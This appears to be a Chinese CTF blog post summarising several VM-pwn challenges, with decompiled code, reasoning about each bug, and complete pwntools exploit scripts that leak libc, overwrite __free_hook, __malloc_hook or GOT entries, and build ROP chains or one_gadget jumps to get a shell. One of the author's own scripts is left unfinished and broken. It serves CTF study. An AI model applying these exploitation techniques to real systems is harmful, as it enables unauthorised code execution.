VM-PWN题总结(一)

2020 GACTF vmpwn

查看文件

libc 2.23,保护全开

IDA分析

我们看到分配的有0x30的chunk,该chunk的作用是前面0x18大小作为rdi、rsi、rdx三个寄存器参数。 程序会再分配两个大chunk其中一个作为读取name以及后面的信息。接下来就是指令解析了: 0x30chunk[5]地址既是指令获取的地方又是读取数据赋值给前面的rdi、rsi、rdx的地方,甚至最后调用函数指针的偏移也是可控的:
指令比较多就不一一讲解了,当时花了半天时间逆了好久,逻辑可以说七七八八了,前面所执行的显示的数据都是bss段中的内容,八个八个读到rdi位置,然后调用函数指针打印。read也是通过bss中数据来调用指令,最后call read函数。

由于调试过程中看到第一次数据直接被打印出来,第二次数据没有使用,就没考虑到什么思路,不过发现的漏洞是输入可以向后溢出,后面有两个heap地址,如果当时仔细点就可以发现,第二个heap地址是程序指定退出时所执行指令的地址,该地址里面是0xff,刚好就直接退出了。

可惜!

思路

首先可以溢出修改到指定退出执行的code地址,其次可以调用的函数有:free\write\read\puts,知道这些内容那这样的话就有思路了。

1. 利用溢出,在打印出name的时候打印出第一个heap地址,那么就可以利用偏移获得自己输入的code的位置
2. 再利用溢出修改指定返回所执行的code地址,那么就进入我们的程序逻辑了。
3. 布置参数,free一个大chunk,通过write打印libc地址
4. 改freehook为setcontext,free一个chunk,里面布置好参数,后面接rop,orw来获得flag

如果知道那个关键点,这道题肯定出了,哎。。。

exp

我的exp,泄露libc地址,开始读下一段code,后面麻烦又简单,就先停下了

#coding:utf8
from pwn import *

# context.terminal = ['tmux','split','-h']
context.log_level = "debug"
libc = ELF('./libc-2.23.so')

# p = process('./vmpwn',env={'LD_PRELOAD':'./libc-2.23.so'})
p = process("./vmpwn")

#泄露虚拟机的mem地址
p.sendafter('name:','a'*0xF0)
p.recvuntil('a'*0xF0)
vm_mem_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'vm_mem_addr=',hex(vm_mem_addr) # 0x555555758050
vm_shellcode_addr = vm_mem_addr + 0x2E20 # 0x55555575ae70
success("vm shellcode addr ==> "+hex(vm_shellcode_addr))

# leak libc address
# 1 free large  3. read shellcode
vm_shellcode = "\x11"+p64(0x555555758050) # rdi = 0x555555758050 9b
vm_shellcode+= "\x8f\x03" # offset 0x18 call free function 2b
# 2. write leak libc
vm_shellcode+= "\x11"+p64(1) # rdi = 1  9b
vm_shellcode+= "\x8f\x01" # call write 2b
# 3 read shellcode
vm_shellcode+= "\x6d" # rdi=0 1b
vm_shellcode+= "\x62"+p64(0x2E20+43) # rsi = rsi + vm_shellcode_addr 9b
vm_shellcode+= "\x63"+p64(0x100) # rdx = 0x100 9b
vm_shellcode+= "\x8f\x00" # call read

payload = "a"*0x100+p64(vm_shellcode_addr)+vm_shellcode
p.sendafter('say:',payload)

# modify free_hook to setcontext getshell
vm_shellcode = "\x"

p.recv(0x20)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd1b78+0x7ffff7a0d000
success("libc address ==> "+hex(libc.address))

p.interactive()

官方exp

#coding:utf8
from pwn import *

# context.terminal = ['tmux','split','-h']
context.log_level = "debug"
libc = ELF('./libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']

#opcodes
MOV_RAX_RSP = 0x10
MOV_RAX_I = 0x11
MOV_RBX_I = 0x12
MOV_RCX_I = 0x13
MOV_RAX_MEM_ADDR = 0x20
MOV_RAX_MEM = 0x21
PUSH_RAX = 0x44
POP_RBX = 0x52
ZERO_RAX = 0x6D
SYSCALL = 0x8F

sh = process('./vmpwn',env={'LD_PRELOAD':'./libc-2.23.so'})
# sh = process("./vmpwn")
# sh = remote('127.0.0.1',8666)
#泄露虚拟机的mem地址
gdb.attach(sh)
sh.sendafter('name:','a'*0xF0)
sh.recvuntil('a'*0xF0)
vm_mem_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'vm_mem_addr=',hex(vm_mem_addr)

vm_shellcode_addr = vm_mem_addr + 0x2E20

#cpu->rax = &mem
vm_shellcode = p8(MOV_RAX_MEM_ADDR) + p64(0)
#free(cpu->rax),使得main_arena+88的地址被保存到mem中
vm_shellcode += p8(SYSCALL) + p8(3)
#将main_arena+88的地址存入cpu->rax中
vm_shellcode += p8(MOV_RAX_MEM) + p64(0)
#调用write输出main_arena+88里的数据
vm_shellcode += p8(PUSH_RAX) + p8(POP_RBX)
vm_shellcode += p8(MOV_RAX_I) + p64(1)
vm_shellcode += p8(MOV_RCX_I) + p64(0x28)
vm_shellcode += p8(SYSCALL) + p8(1)
#继续调用read输入shellcode
vm_shellcode += p8(ZERO_RAX)
vm_shellcode += p8(MOV_RBX_I) + p64(vm_shellcode_addr + len(vm_shellcode) + 20)
vm_shellcode += p8(MOV_RCX_I) + p64(0x1000)
vm_shellcode += p8(SYSCALL) + p8(0)

payload = 'a'*0x100 + p64(vm_shellcode_addr) + vm_shellcode

sh.sendafter('say:',payload)
sh.recvuntil('Now,I recevie your message,bye~')
sh.recvuntil('\n')
sh.recv(0x20)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
setcontext_addr = libc_base + libc.sym['setcontext']
pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
bss = libc_base + libc.bss()

print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)

#调用read向free_hook处输入数据,然后触发free,getshell
vm_shellcode = p8(ZERO_RAX)
vm_shellcode += p8(MOV_RBX_I) + p64(free_hook_addr)
vm_shellcode += p8(MOV_RCX_I) + p64(0x100)
vm_shellcode += p8(SYSCALL) + p8(0)
vm_shellcode += p8(MOV_RAX_I) + p64(free_hook_addr - 0xA0 + 8)
vm_shellcode += p8(SYSCALL) + p8(3)
sh.send(vm_shellcode)

#read(0,bss,0x100)
rop = p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
#open(bss,0)
rop += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(3,bss,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,bss,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

sleep(1)
payload = p64(setcontext_addr+0x35) + p64(free_hook_addr + 0x18) + p64(pop_rdi) + rop
raw_input()
sh.send(payload)
sleep(1)
sh.send('./flag\x00')

sh.interactive()

2019 Geek finial OVM

查看文件

这是一道libc 2.27下的VM pwn题,canary没有开启,其它的保护全开

IDA分析

memory地址是我们存放code的地方0x202060,regs是我们的寄存器一共有16个,PC指令是指令的index,自增1,sp是开辟的栈顶指针,开辟的stack在0x2420a0,comment在0x202040位置。之前没有注意到code存放在memory位置,所以发现后面的问题但是还是没想到怎么利用。tcl

主函数中:

执行函数中:

很仔细的逆了一下午,指令的意思和格式也搞清楚了,就有点没注意到memory可控太可惜了。

思路

首先我们定位到0x30的指令,由于memory可控,那么reg也可控。我们定位到0x50的push指令,负整数溢出很容易发现。同时注意到pop指令的汇编:movsxd是带符号的,不太容易发现,不过发现后面push有明显的溢出也会进行尝试的。

注意到最后有个read和free功能:大概是向comment[0]内的地址写入0x18个字节,既然可以溢出那么同样也可以修改了。

第一步:首先通过负数溢出将got表通过stack读入寄存器打印出来。
第二步:计算free_hook到函数printf的偏移,因为我们选择的是打印printf函数
第三步:修改对应的低四位的寄存器,高四位就不用改了
第四步:计算comment[0]和memory的偏移,通过stack再改一次,将freehook-8的地址写入到comment[0]中
第五步:写入/bin/sh;+p64(system)到comment[0]

由于指令啥的是4位,所以比较麻烦,还是慢慢的把exp撸出来了。

exp

#coding=utf-8
from pwn import *

p = process("./ovm")
elf = ELF("./ovm")
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
context.log_level = "debug"

stack_addr = 0x2420a0
reg_addr = 0x242060
memory_add = 0x202060
comment_add = 0x202040

write_got = elf.got['write']
offset = (stack_addr-write_got)/4
off_free_printf = libc.sym['__free_hook']-libc.sym['printf']-8
success("offset between free_hook and write is "+hex(off_free_printf))
success("offset between stack and write is "+hex(offset))

# [+] offset between free_hook and setbuf is 0x2dd7a8
# [+] offset between stack and write is 0x10046

code = [0x10041,    # store offset between stack and write
        0x30050000, # offset store in 5 reg
        0x800d0005, # make 0 reg sub 5 reg, -0x10041 will store in sp reg
        0x60010000, # printf addr low 4 bit in 1 regs,通过stack index的负数溢出pop入寄存器
        0x60000000, # printf addr high 4 bit in 0 regs
        0x70020f06, # reg 2 = 6
        off_free_printf,
        0x30070002, # offset hook and printf in reg 7
        0x70080107, # hook low 4 bit in reg 8
        0x70020f0e, # reg 2 = 10
        memory_add,
        0x300a0002, # memory add in reg 10
        0x70020f0e, # reg 2 = 13
        comment_add,
        0x300b0002, # comment add in reg 11
        0x800d0b0a, # offset comment and memory in sp
        0x70090109, # printf low 4 bit in 9 regs, the latter code will cover 1 reg
        0x50000000, # sp--
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x50000000,
        0x4008000d, # copy hook low 4 bite in comment[0]
        0x50000000,
        0x4000000d, # copy hook high 4 bite in comment[0]
        0xe0000000
        ]

p.sendlineafter("PCPC: ",str(0))
p.sendlineafter("SP: ",str(0))
p.sendlineafter("SIZE: ",str(45))
# gdb.attach(p,"b *0x555555554cf9")
for i in code:
    sleep(0.01)
    p.sendline(str(i))

p.recvuntil("R0: ")
high_addr = int(p.recv(4),16)
p.recvuntil("R9: ")
low_addr = int(p.recv(8),16)
print_addr = (high_addr<<32)+low_addr
libc.address = print_addr - libc.sym["printf"]
success("libc address ==> "+hex(libc.address))
# gdb,attach(p)
p.sendlineafter("OVM?\n","/bin/sh\x00"+p64(libc.sym["system"]))

# 0x00007ffff7af4140
p.interactive()

ciscn-2019 Virtual

查看文件

GOT表可劫持,PIE没有开启

IDA

主函数:程序模拟了三个部分text代码段,stack栈,data区

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *name; // [rsp+18h] [rbp-28h]
  section_info *stackAddr; // [rsp+20h] [rbp-20h]
  section_info *textAddr; // [rsp+28h] [rbp-18h]
  section_info *dataAddr; // [rsp+30h] [rbp-10h]
  char *StackDataChunk; // [rsp+38h] [rbp-8h]

  StartInit();
  name = (char *)malloc(0x20uLL);
  stackAddr = MallocFunc(0x40);
  textAddr = MallocFunc(0x80);
  dataAddr = MallocFunc(0x40);
  StackDataChunk = (char *)malloc(0x400uLL);
  puts("Your program name:");
  ReadFunc((__int64)name, 0x20u);
  puts("Your instruction:");
  ReadFunc((__int64)StackDataChunk, 0x400u);
  ParseIns(textAddr, StackDataChunk);           // 解析指令,最先读入的指令放在最后
  puts("Your stack data:");
  ReadFunc((__int64)StackDataChunk, 0x400u);
  ParseData(stackAddr, StackDataChunk);         // 读数据,先读入的数据放最后面
  if ( (unsigned int)ExeCommand(textAddr, stackAddr, dataAddr) )
  {
    puts("-------");
    puts(name);
    DoSth((__int64)stackAddr);
    puts("-------");
  }
  else
  {
    puts("Your Program Crash :)");
  }
  free(StackDataChunk);
  FreeFunc((void **)textAddr);
  FreeFunc((void **)stackAddr);
  FreeFunc((void **)dataAddr);
  return 0LL;
}

主要功能如下:

  1. push 将stack上值取出放入data中
  2. pop 将data上值取出放入stack中
  3. add/sub/mul/div 从data取出两个值,相加/减/乘/除后放回data中
  4. load 从data中读入一个值作为index,将buffer中这个index所对应位置的值写入data中
  5. save 从data中读入一个值作为index,再从buffer中读一个值,写入data中这个index所对应的位置

漏洞处:

load:

__int64 __fastcall LOAD(section_info *a1)
{
  __int64 result; // rax
  __int64 v2; // [rsp+10h] [rbp-10h]
  if ( (unsigned int)MoveAToB(a1, &v2) )
    result = MoveBToA(a1, *(_QWORD *)(a1->section_ptr + 8 * (a1->idx + v2)));
  else
    result = 0LL;
  return result;
}

save:

__int64 __fastcall SAVE(section_info *a1)
{
  __int64 v2; // [rsp+10h] [rbp-10h]
  __int64 v3; // [rsp+18h] [rbp-8h]


  if ( !(unsigned int)MoveAToB(a1, &v2) || !(unsigned int)MoveAToB(a1, &v3) )
    return 0LL;
  *(_QWORD *)(8 * (a1->idx + v2) + a1->section_ptr) = v3;
  return 1LL;
}

我们可以看到,用户可以控制无限制的index。load可以从控制的index读取,save可以控制index

思路

  1. 修改模拟stack的位置到got表上。
  2. push,将got上puts函数的地址的值放入data中
  3. sub,将puts函数的地址改为system函数的地址
  4. pop,将system函数的地址写回got表上puts的位置
  5. program name设为’/bin/sh’,输出程序名的时候即可getshell

push 将stack上第一个值放入data中,puts和system的偏移offset。
push 将stack上第二个值放入data中,got表中puts函数的位置。
push 将stack上第三个值(data段相对于模拟的stack的地址的偏移,因为堆上面是保存了模拟的stack的地址的)放入data中
save 将相对于模拟stack的偏移读出,再将got表位置读出,然后将模拟的stack的地址改为got表,现在模拟的stack就被改到got表上了
push 将模拟栈上的值写入data中,因为栈现在在got表上,所以会将puts的地址写到data上
sub 将puts和system的偏移读出,将puts的地址读出,做减法,再写回data上,此时data上就只有一个system的地址
pop 读出buffer上system的地址,写会模拟stack上,因为模拟stack现在在got表上,所以将puts的地址改为了system的地址
模拟stack上第四个值为9999是因为push是会检查栈是否为空。检查方式为读入模拟stack中数据时会有一个变量记录一共读入了多少个数据,每次push都会减1,所以我们只要多读入几个数据即可让这个变量不减为0。

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'

binary = './pwn'
lib = '/lib/x86_64-linux-gnu/libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

p.sendline('/bin/sh')
p.sendline('push push push save push sub pop')

offset = libc.symbols['_IO_puts'] - libc.symbols['system']

p.sendline('%d %d -208 99999' % (offset, elf.got['puts']))

p.interactive()

D^3CTF babyrop

查看文件

IDA分析

主函数:

先读入指令然后再进行解析
__int64 __fastcall ParseIns(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)
{
  __int64 result; // rax
  _QWORD *v5; // [rsp+0h] [rbp-80h]
  _QWORD **v6; // [rsp+8h] [rbp-78h]
  char v7; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]


  v6 = (_QWORD **)a3;
  v5 = (_QWORD *)a4;
  v8 = __readfsqword(0x28u);
  memset(&v7, 0, 0x50uLL);
  *(_QWORD *)a3 = &v7;                          // a3的值就是存放esp的地址,v7变量所在的栈地址就是esp
  *(_DWORD *)(a3 + 0x10) = 10;                  // a3[2] = 10, 其代表的是栈内数据的个数
  *(_QWORD *)(a3 + 8) = *(_QWORD *)a3 + 0x50LL; // a3[1] = esp+0x50
  while ( 2 )
  {
    if ( *(_BYTE *)(*a2 + a1) )
    {
      switch ( *(char *)(*a2 + a1) )
      {
        case 0:
          *a2 = 0LL;
          return 1LL;
        case 8:
          Push4Byte((__int64)v6, *(char *)(++*a2 + a1));// sub esp,8; mov [esp],number; number是4字节大小
          *a2 += 4LL;
          continue;
        case 0x12:
          Push1Byte(v6, (unsigned int)*(char *)(++*a2 + a1));// sub esp,8; mov [esp],number; number是1字节大小
          ++*a2;
          continue;
        case 0x15:
          Push8Byte(v6, *(char *)(++*a2 + a1)); // sub esp,8; mov [esp],number; number是8字节大小
          *a2 += 8LL;
          continue;
        case 0x21:
          sub_BB9(v6);                          // add [esp],[esp-8]; mov [esp-8],0
          ++*a2;
          continue;
        case 0x26:
          Add1Byte(v6, *(_BYTE *)(++*a2 + a1)); // add [esp],number; number是1byte
          ++*a2;
          continue;
        case 0x28:
          ++*a2;
          if ( !(unsigned int)AddEsp0x50((__int64)v6, v5) )// add esp,0x50; a[2]=a[2]-10
            exit(0);
          continue;
        case 0x30:
          Sub1Byte(v6, *(_BYTE *)(++*a2 + a1)); // sub [esp],number; number是1byte
          ++*a2;
          continue;
        case 0x34:
          ++*a2;
          DoSth(v6);                            // mov [esp-8],[esp]; sub esp,8
          continue;
        case 0x38:
          ++*a2;
          MovEspAdd8Zero((__int64)v6);          // mov [esp+8],0
          continue;
        case 0x42:
          sub_EDF(v6);                          // mov [esp-8],2*([esp]&0xffffff); sub esp,8
          ++*a2;
          continue;
        case 0x51:
          AddEsp1(v6);                          // add [esp],1
          ++*a2;
          continue;
        case 0x52:
          SubEsp1(v6);                          // sub [esp],1
          ++*a2;
          continue;
        case 0x56:
          MovEspNumber(v6, *(_DWORD *)(++*a2 + a1));// mov [esp],number; number是4字节
          *a2 += 4LL;
          continue;
        default:
          exit(0);
          return result;
      }
    }
    return 1LL;
  }
}

看看漏洞函数:

__int64 __fastcall sub_C26(__int64 a1, _QWORD *a2)
{
  if ( !*(_DWORD *)(a1 + 0x10) && *a2 > 1LL )
    return 0LL;
  *(_QWORD *)a1 += 0x50LL;                      // sub esp,0x50
  *(_DWORD *)(a1 + 0x10) -= 10;                 // a[2] = a[2] - 10
  ++*a2;
  return 1LL;
}

检查a1[2]!=0&&*a2>1便令栈顶减少0x50,可以通过这个函数来进行栈溢出操作。

思路

我们首先执行这个函数,再利用push指令,此时a1[2]!=0,我们便可以再使用一次这个函数来使栈溢出。这个时候便可以看到libc地址了,我们算好one_gadget的偏移,利用mov和add指令是esp等于one_gadget,之后我们再使用mov [esp-8],[esp]; sub esp,8指令将ret地址改为esp中one_gadget的地址。

第一步:执行漏洞函数+push+一个漏洞函数

我们看到esp已经在设置的ebp下面,已经栈溢出了,我们再看esp附近地址的内容:

发现有libc地址

parsefunc执行完的返回地址就在当前溢出的esp地址的附近

第二步:利用mov [esp],number;mov [esp-8],[esp];add [esp],[esp-8]指令,构造出esp = one_gadget

第三步:利用mov [esp-8],[esp],构造返回地址等于one_gedget

注意无法getshell的原因是要求

不满足条件,我们必须提前设置该地方的值为0,用mov [esp+8],0这条指令

exp

from pwn import *
r = process('./babyrop')
#r = remote('')
context.log_level = 'debug'
# context.terminal = ['tmux','split','-h']
gdb.attach(r)

payload = chr(0x28)+chr(0x15)+p64(0)+chr(0x28)   # add esp,0x50; a[2]=a[2]-10
payload+= chr(0x38)                              # mov [esp+8],0
payload+= chr(0x34)                              # mov [esp-8],[esp]
payload+= chr(0x56)+p32(0x24A3A)                 # mov [esp],number
payload+= chr(0x21)                              # add [esp],[esp-8], [esp]= one_gagget addr
payload+= chr(0x34)*5

r.sendline(payload)
r.interactive()

2020 高校战“疫”网络安全分享赛-EasyVM

查看文件

IDA分析

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // ST2C_4
  _DWORD *ptr; // [esp+18h] [ebp-18h]
  int v5; // [esp+ACh] [ebp+7Ch]

  init_start();
  ptr = chunk_addr();
  while ( 1 )
  {
    switch ( menu() )
    {
      case 1:                                   // add
        buf = malloc(0x300u);
        read(0, buf, 0x2FFu);                   // 输入指令
        ptr[8] = buf;                           // 指令写到ptr[8]的位置
        break;
      case 2:
        if ( !ptr )
          exit(0);
        execute_code(ptr);                      // 实际上是针对写入的指令执行相关操作
        break;
      case 3:
        if ( !ptr )
          exit(0);
        free((void *)ptr[10]);
        free(ptr);                              // UAF??
        break;
      case 4:
        puts("Maybe a bug is a gif?");
        some_gift_305c = v5;                   // 通过调试发现,这里是指令地址
        ptr[8] = &unk_3020;
        break;
      case 5:
        puts("Zzzzzz........");
        exit(0);
        return;
      default:
        puts("Are you kidding me ?");
        break;
    }
  }
}

关键函数:执行指令

unsigned int __cdecl sub_A16(_DWORD *a1)
{
  _BYTE *v1; // ST28_4
  unsigned int result; // eax
  unsigned int v3; // et1
  unsigned int v4; // [esp+1Ch] [ebp-Ch]



  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    if ( *(_BYTE *)a1[8] == 0x71 )
    {
      a1[6] -= 4;
      *(_DWORD *)a1[6] = *(_DWORD *)(a1[8] + 1);
      a1[8] += 5;
    }
    if ( *(_BYTE *)a1[8] == 0x41 )
    {
      a1[1] += a1[2];
      ++a1[8];                                  // 比如说0x1109,当前判断0x09,执行这条指令后就是判断0x11了
    }
    if ( *(_BYTE *)a1[8] == 0x42 )
    {
      a1[1] -= a1[4];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x43 )
    {
      a1[1] *= a1[3];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x44 )
    {
      a1[1] /= a1[5];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x80u )
    {
      a1[sub_9C3((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);// 通过调试发现当输入p8(0x80)+p8(a)时:
                                                // sub_9C3((int)a1,1)==a
      a1[8] += 6;
    }
    if ( *(_BYTE *)a1[8] == 0x77 )
    {
      a1[1] ^= a1[9];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x53 )              // 打印a1[3]地址内容
    {
      putchar(*(char *)a1[3]);
      a1[8] += 2;
    }
    if ( *(_BYTE *)a1[8] == 0x22 )
    {
      a1[1] >>= a1[2];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x23 )
    {
      a1[1] <<= a1[2];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x99u )             // 0x99是退出循环
      break;
    if ( *(_BYTE *)a1[8] == 0x76 )              // a1[6]
    {
      a1[3] = *(_DWORD *)a1[6];                 // a1[3] = a1[6]地址内的内容,也就是下面malloc_hook,注意是两个*,被坑了。。。。
      *(_DWORD *)a1[6] = 0;
      a1[6] += 4;
      a1[8] += 5;
    }
    if ( *(_BYTE *)a1[8] == 0x54 )              // 写入内容到对应地址
    {
      v1 = (_BYTE *)a1[3];
      *v1 = getchar();
      a1[8] += 2;
    }
    if ( *(_BYTE *)a1[8] == 0x30 )
    {
      a1[1] |= a1[2];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x31 )
    {
      a1[1] &= a1[2];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 9 )                // 发现 0x9+0x10组合是打印出gift
    {
      a1[1] = some_gift_305c;
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x10 )
    {
      a1[9] = a1[1];
      ++a1[8];
    }
    if ( *(_BYTE *)a1[8] == 0x11 )
    {
      printf("%p\n", a1[1]);
      ++a1[8];
    }
  }
  v3 = __readgsdword(0x14u);
  result = v3 ^ v4;
  if ( v3 != v4 )
    sub_1080();
  return result;
}

思路

通过逆向分析和调试发现,组合指令可以有这么些功能:1.打印process base。2.任意地址写入单个字符。3.打印任意地址内容

思路如下:
第一步:打印出程序基址(指令组合:0x9+0x11)
第二步:有了程序基址就可以打印got地址,就可以算出libc base(由于一次只能打印一个字符,所以需要4次,got表地址逐个加一即可: 0x80+输入偏移(3)+address+0x53+”\x00”)
第三步:向malloc_hook写入one_gadget(0x80+输入偏移(6)+我们想修改的地址所在的地址(heap中)+0x76+内容(malloc_hook)+0x54

任意地址写入单个字符的功能是: 我们可以将任意地址写入heap中,然后再向该地址写入任意数据。由于反编译指令中发现比较复杂,同时又因为所有的信息都可以获得。那么我们可以单步调试查看所有malloc地址写入的heap中的地址。所以就是
0x80+输入偏移(6)+我们想修改的地址所在的地址(heap1)+0x76+内容(malloc_hook)+0x54
0x80+输入偏移(6)+我们想修改的地址所在的地址(heap2)+0x76+内容(malloc_hook+1)+0x54
0x80+输入偏移(6)+我们想修改的地址所在的地址(heap3)+0x76+内容(malloc_hook+2)+0x54
0x80+输入偏移(6)+我们想修改的地址所在的地址(heap4)+0x76+内容(malloc_hook+3)+0x54

0x80:
a1[6]=想要写入地址(其中想要改的地址在这个地址)
0x76:
a1[3]=a1[6]地址的内容(malloc_hook)
0x54:
*a[3] = getchar

第四步:触发free报错,执行malloc_hook

exp

#coding=utf-8
from pwn import *
context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./EasyVM')
libc_offset = 0x3c4b20
gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
if debug:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    p = process('./EasyVM')

else:
    libc = ELF('./libc-2.23.so')
    p = remote('121.36.215.224',9999)

def add(content):
    p.recvuntil('>>>')
    p.sendline('1')
    sleep(0.02)
    p.sendline(content)

def start():
    p.recvuntil('>>>')
    p.sendline('2')

def delete():
    p.recvuntil('>>>')
    p.sendline('3')

def gift():
    p.recvuntil('>>>')
    p.sendline('4')

# -----get process base-------
gift()
add(p8(0x9)+p8(0x11)+p8(0x99))
start()
p.recvuntil("0x")
data = int(p.recv(8),16)
process_base = data >> 12
process_base = process_base << 12
success("code base ==> "+hex(process_base))

# -------leak libc--------------
payload = p8(0x80)+p8(3)+p32(process_base+0x2fd0)+p8(0x53)+"\x00"
payload+= p8(0x80)+p8(3)+p32(process_base+0x2fd1)+p8(0x53)+"\x00"
payload+= p8(0x80)+p8(3)+p32(process_base+0x2fd2)+p8(0x53)+"\x00"
payload+= p8(0x80)+p8(3)+p32(process_base+0x2fd3)+p8(0x53)+"\x00"
payload+= p8(0x99)
add(payload)
start()
p.recv(2)
data = u32(p.recv(4))
libc.address = data - libc.symbols["puts"]
malloc_hook = libc.symbols["__malloc_hook"]
success("libc base ==> "+hex(libc.address))

# -----------get shell------------
target = libc.address + (0xf7fb2150-0xf7e00000)
data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00'
data += '\x99'
add(data)
start()
p.recvn(2)
heap_base = u32(p.recvn(4))
log.success("heap base => " + hex(heap_base))
#get shell
fake_heap = heap_base + (0x56559aaf-0x56559000)
fake_heap1 = heap_base + (0x56559abc-0x56559000)
fake_heap2 = heap_base + (0x56559ac9-0x56559000)
fake_heap3 = heap_base + (0x56559ad6-0x56559000)
payload = p8(0x80)+p8(6)+p32(fake_heap)+p8(0x76)+p32(malloc_hook)+p8(0x54)+"\x00"
print hex(fake_heap)
payload+= p8(0x80)+p8(6)+p32(fake_heap1)+p8(0x76)+p32(malloc_hook+1)+p8(0x54)+"\x00"
print hex(fake_heap1)
payload+= p8(0x80)+p8(6)+p32(fake_heap2)+p8(0x76)+p32(malloc_hook+2)+p8(0x54)+"\x00"
print hex(fake_heap2)
payload+= p8(0x80)+p8(6)+p32(fake_heap3)+p8(0x76)+p32(malloc_hook+3)+p8(0x54)+"\x00"
print hex(fake_heap3)

add(payload+"\x99")
start()
shell = libc.address + gadgets[1]
raw_input()
p.send(p8(shell&0xff))
raw_input()
p.send(p8((shell&0xffff)>>8))
raw_input()
p.send(p8((shell&0xffffff)>>16))
raw_input()
p.send(p8(shell>>24))
delete()

p.interactive()

  Reprint policy: xiaoxin VM-PWN题总结(一)

 Previous
2019 TCTF aegis 2019 TCTF aegis
这道题是学习学弟的博客看到的感觉很有趣拿来学习学习 查看文件 我们看到除了常见的五个保护还有ASAN和UBSAN两个保护。 知识点补充在这里我们需要进行知识点补充:asan(AddressSanitizer)是google开源的一个用于进
2020-10-29
Next 
解释器类题目总结(一) 解释器类题目总结(一)
1.前言参考ERROR404师傅来对解释器类题目进行一个总结,整理题目如下: Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。 2020 RCTF bf:此题是因为解释
2020-10-29
  TOC